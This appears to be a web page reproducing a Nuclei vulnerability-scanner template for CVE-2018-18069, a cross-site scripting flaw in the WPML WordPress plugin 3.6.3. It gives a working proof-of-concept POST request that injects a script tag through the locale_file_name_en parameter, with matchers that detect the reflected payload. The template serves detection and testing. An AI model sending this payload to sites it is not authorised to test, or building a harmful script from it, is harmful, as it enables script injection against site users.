WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
PoC
id: CVE-2018-18069
info:
name: WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting
author: nadino
severity: medium
description: WordPress plugin sitepress-multilingual-cms 3.6.3 is vulnerable to cross-site scripting in process_forms via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update WordPress sitepress-multilingual-cms to the latest version to mitigate the XSS vulnerability.
reference:
- https://0x62626262.wordpress.com/2018/10/08/sitepress-multilingual-cms-plugin-unauthenticated-stored-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2018-18069
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/merlinepedra/nuclei-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-18069
cwe-id: CWE-79
epss-score: 0.13207
epss-percentile: 0.96171
cpe: cpe:2.3:a:wpml:wpml:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: wpml
product: wpml
framework: wordpress
tags: cve2018,cve,wordpress,xss,plugin,wpml,vuln
http:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin.php"
body: |
icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(tolower(header), "text/html")'
- 'contains(set_cookie, "_icl_current_admin_language")'
- 'contains(body, "\"><script>alert(0);</script>")'
condition: and
# digest: 4b0a00483046022100b06b6e543e6e8c478cb9a23cc5f998efdec28250434d910ab79cd63af580ae22022100dfe8755258040089eb51f55f3b873c78a7a329496f51449a0dc8ba86b60f2759:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.